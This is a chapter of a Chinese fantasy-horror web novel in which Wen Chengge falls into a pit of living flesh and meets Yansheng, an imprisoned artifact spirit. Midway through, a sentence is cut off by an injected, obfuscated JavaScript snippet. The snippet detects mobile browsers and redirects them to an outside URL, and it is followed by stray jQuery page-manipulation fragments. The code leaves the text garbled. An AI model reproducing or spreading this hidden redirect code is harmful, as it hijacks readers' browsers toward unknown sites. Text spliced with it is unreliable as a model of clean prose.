“我来探路吧,你们要小心——”
林弈小心地踩着树藤走在最前方,来到洞窟边缘,向下望去。待他终于看见洞中情景,浑身一震。
“林弈,你那边情况如何?”
温承歌提着溯光,不断将挡道的枯萎树藤劈开,它们却仿佛活过来般,以肉眼可见的速度重新生长,不消片刻便恢复原样。
如此几回,她心中生出一丝烦躁,手下的动作也快了几分。
“这……总镖头,你来看看……”
林弈的声音中带着不易察觉的颤抖。
温承歌四下环顾,挑了个还算平坦的落脚处,直接瞬移到林弈身边。她顺着指引低下头,俯视幽深的坑洞。
洞中情形在周遭灯火的映照下分外清晰。一大滩血肉将坑面填的满满当当,那些红白相间的软烂东西不断蠕动,其间夹杂着零散的碎骨与毛发,已经看不出原本的颜色。
这堆东西在坑底翻涌着,发出了一种沉闷黏腻的响动,啪嗒啪嗒,令人作呕。
温承歌眉头紧皱,这情景……还真熟悉。
但它可不仅仅出现在昨夜的噩梦之中。
温承歌倏地警惕起来,她还记得,此前自己与李熙宁就在一处沉船灵域内看见了这般血肉之躯。
那时候她被莫名而来的呼声所蛊惑,拔剑将其砍杀,并在灵域坍塌前带着李熙宁逃出了那里,也算是九死一生。
但那一次接触并未能获得有用的信息,迄今为止,关于这东西为何出现,为何让她受到影响,她仍无头绪。
没想到,居然在这里再次遇到血肉之躯,但为何这一回她并未听到那些梦呓般的蛊惑?莫非是因为她如今携着神权?
“承歌,你们发现什么了?怎么面色一个比一个凝重,别吓我啊……”
叶烛南的声音自身后响起,温承歌回过头去,见她提着枪踩过树藤向他们走来。
“这里危险,你先别过来。”
温承歌话音未落,叶烛南已经挥砍下一片树藤,两下跳到她身边。
她好奇地向下望去:“怎么了——哇啊!”
她毫无防备,猝不及防地看见了洞底的东西,吓得后退了两步,脚下一滑,向后摔去。
她随身的枪尖被新长出来的树藤缠住,这股力道将失重的叶烛南甩了一下,她倒在坑边的树藤堆上,朝着坑底滚落下去!
“烛南!”
温承歌迅速反应,猛的抓住叶烛南飘飞的衣摆,但不知怎的,那块布料一瞬间从掌心滑了出去,她破天荒地抓了个空。
扑通一声,叶烛南滑进了那摊血肉中!
犹如投石入湖,血肉之躯几乎是瞬间疯狂起来。它们不断翻涌着,须臾之间,便已将叶烛南大半边身子吞没。
叶烛南惊慌地张开双臂,向坑边抓去:“救救我,承歌!”
温承歌下意识地俯在坑边,拉住她的手。二人手指相触的一刻,她猛然打了个寒颤——
叶烛南的手指冷得彻骨,绝非活人该有的温热!
她下意识地收回手,然而为时已晚。电光石火之间,温承歌的手被“叶烛南”紧紧攥住,指骨在大力的挤压下发出轻微的闷响,几近碎裂。
温承歌顾不得掌下传来的寒意与疼痛,她的目光几乎不受控制,死死地盯着“叶烛南”。
少年人带着意气的面孔迅速扭曲,五官移位,嘴角开裂,吐出了什么猩红的污秽,顷刻间面目全非。
无数只眼睛从叶烛南周身每一寸皮肤上钻出来,发出刺耳的尖啸,几乎要将她的五感撕碎。
紧接着,一股难以抵抗的吸力骤然出现,将温承歌扯入血肉之中!
随着她彻底被血肉埋没,那些挤满了脑海的嘈杂声音瞬间消失,世界陷入一片诡谲的寂静与黑暗。
温承歌落下去,不知要落到何处。
而在黑暗深处,她即将坠入的那片深渊里,似乎有什么东西正在鼓动。
砰咚,砰咚,砰咚……
最后,随着最后一丝意识消散,连那点声音也彻底消失不见。
……
“你醒了?你睡了很久呢。”
是谁……?
不知过了多久,温承歌缓缓睁开眼,发现自己漂浮在空中,周围皆是白茫茫一片,看似空无一物,她却真切感受到一股股丰沛的灵源自身边流过,驱散了灵识内积累已久的疲惫。
【这里是……灵枢?】
温承歌张了张嘴,却连一丝声音都发不出来。
怎么回事,她失声了?这怎么可能?
有一道声音从远处传来,呼唤着她的姓名,带着不属于人世的空灵。
即便她未能开口,那个声音似乎也已读懂了她的话,轻笑一声:
“别急,你只不过是被噤声了而已,出了这地方,自然会好。
“不过你猜的不错,这里便是东城地下的分灵枢。”
温承歌缓了缓神,发现自己脑海中一片茫然。她索性坐起身来,循着声音的方向望去。
她面前不知何时出现了一名女子,白衣白发,面上没什么血色。若非那双眼眸漆如点墨,灵动斐然,她便要融入整片茫茫之中去了。
女子静静地坐在一旁,嘴角噙了一抹笑,打量她的目光里有些新奇,又有些期待:
“温,承,歌?我认得你,你便是灵脉的延续,社稷神的子嗣。
“我晓得你还有许多疑问,但且先回答我的话:你从哪儿来,要到何处去?”
温承歌看着那恬然的女子,斟酌道:【在下自京城而来,遍历四海,终归去京城。】
女子似乎料到了她的答复,并不意外,微微一顿便再次发问:
“遍历四海?这可不是什么容易事儿,即便是一生云游的侠客旅者,能做到者也算是寥寥无几。你有如此志向,不知所为何事?”
温承歌没有半点犹豫,目光坚定,一字一句道:
【祛除邪祟,稳固灵脉,还天下一个太平盛世。】
“啊……”
这一回,女子眨眨眼,略有些讶然。她与温承歌目光相交,对视良久,开口道:
“这倒是在我意料之外,神女。你很澄澈,像一面玄银鉴。”
【什么意思?】
温承歌有些疑惑——这莫非是某种隐喻?
女子笑着摇摇头,又道:“不,只是无心之言。神女,你想问些什么?”
【你方才说这里就是灵枢内部,但我并不知晓自己是如何来到这里的。】
“我猜猜……你顺着凌霄阁下到这里,打开了灵器库,并在其中遇到了一个大坑,被血骸吞没?”
温承歌眯了眯眼,重新审视这个怪异的女子:【你究竟是谁?】
“别误会,那可不是我做的,否则我何必救你?我也不过是困在这灵枢内的一点散灵罢了,因着点机缘在此地虚度余生。”
女子摆摆手,掸了掸一尘不染的衣袖。
……这人说起话来怎么云里雾里的,令人捉摸不透。
温承歌直言:“请讲直白些。”
她没错过女子面上一闪而逝的尴尬,对方轻咳几声,再开口便去了那副高深莫测的语气:
“……好吧!这里许久无人,我已经忘记怎么说话了。不过既是神女,告诉你也无妨:
“我乃是一名器灵,本命厌胜。百年前本源器物碎裂,我残存的灵识被人附在了谛听铃上,后来那只铃铛被社稷神带走,收入这里的灵器库,我就只能一直待在这里了。”
厌胜叹了口气:“谁知道这一待就是一百年呢?再待下去,我在这灵枢内度过的岁月可就比生前还要多了!”
厌胜的诉说包含着太多必要的线索,温承歌沉下心来一点点处理着。
谛听铃,灵器库……看来她误打误撞,竟正好寻到了自己所找之物,莫非这也是“天机”的一部分?
待听到那句“本源碎裂”时,饶是稳重如温承歌,也不由得惊讶道:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249599|188415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
【本源器物碎裂,竟还能维持住灵识,重新附着……这怎么可能?】
厌胜无奈地一摊手:“莫说是你,这么违背天理之事,换做我也不信啊。
“按理来说我早该消散了,却莫名其妙地留存在世间。我的灵识碎的太彻底,从前那些记忆全记不得了。”
她说到这里,又长长叹了口气:
“如今我剩下的也就只有这点残识,又出不去这灵枢,我早受够了。半死不活地留在这里,有什么意思呢?”
温承歌仍有些难以置信:强留灵识在世,可谓逆天而行,就算是社稷神也没有这样的本事。
但她方才就已经默不作声地探查了一番厌胜的状态,如她所言,这情况着实诡异——厌胜既非有灵息的寻常灵体,也非灵源的一份子。
温承歌不得不承认,她现在这个状态,或许还真算是“活死灵”。
究竟是何人,能突破灵体的生死界限,达到这样的状态?
简直可怖。
温承歌有些脊背发凉,这样的情况……难道是代天狩那般的虚影所为?他们究竟还酝酿了什么危害灵脉的阴谋?
“哎哎,想什么呢,听我把话说完呀。”厌胜神情严肃下来,打断了温承歌的思忖,提醒道:
“你那两个伙伴在上面都快急死了,再待下去,难保他们不会跳下来找你?”
温承歌一愣,方才太过专注于潜在的阴谋,竟忘了眼下境况。她朝厌胜规规矩矩地行了一礼:
【多谢大人救命之恩,我该如何从这里脱身?】
厌胜一甩袖子:“先说好,我救你可不是白救的,也有办法帮你出去。但你要答应我一件事。”
【您请说,在下尽力而为。】
“这片灵枢的外层,就是你掉下去的那个坑洞,已经被血骸污染了。我能送你回到灵器库中去,请你祛除那里的血骸,修复灵枢。
厌胜说着,眼中亮起饱含期待的光芒:
“神女,你既然能以灵体之躯来到这里,想必已经掌握了‘天机’。那么你便能将我从灵枢中解脱出去,带着谛听铃离开这个破地方。”
温承歌疑惑道:
【这本就是我此行的目的。但若我没猜错,你如今能够维持灵识不散,也与灵枢内充盈的灵源供给息息相关。
【若是离开这里,恐怕你的灵识很快便会消散,还请慎重考虑。】
厌胜的神情有些意味深长:
“东城内百年前生长着一种玉蝉,不知神女是否知晓?”
【略有耳闻,但眼下不过三月,还未到玉蝉出世的时节。】
“哦?没想到它们居然繁衍至今,甚好甚好。”
厌胜有些欣慰地呵呵一笑:
“我还记得,来到灵枢前的日子里,我最不理解的就是玉蝉——何其愚蠢,在暗无天日的地下蛰伏了几十年,待到羽化出世,却只鸣叫三月便逝去,反复如此。”
温承歌辩道:【于蝉而言,是否见得光明并不重要,重要的是生存与延续。】
“是啊,万事万物自有其道,不该妄自为其余生灵赋加意义。玉蝉不在乎……”
她看着温承歌的双眼,目光中竟涌动着一种深沉的疲惫之感:
“但是我在乎。”
“想想看,如今我这一缕残识,与玉蝉又有什么分别?我已经厌倦了这无休止的监禁与囚困,早在百年前我就该消散了,却被强留至今。
“我厌恶这一切。如今你来了,这漫长的等待终于有了尽头。
“我要离开这里,亲眼看看外面的世界,哪怕只有须臾,那也值得。”
她笑着向温承歌挥了挥手,后者只觉得面前闪过一阵刺眼的光芒,刹那间,天地倒转,一股强大的力量将她推开。
温承歌眼看着厌胜的身影迅速消失在眼前,耳边却依然回响着她的声音,一字一句,清晰有力:
“去吧,神女,去做你想做的事,然后带我离开这里。”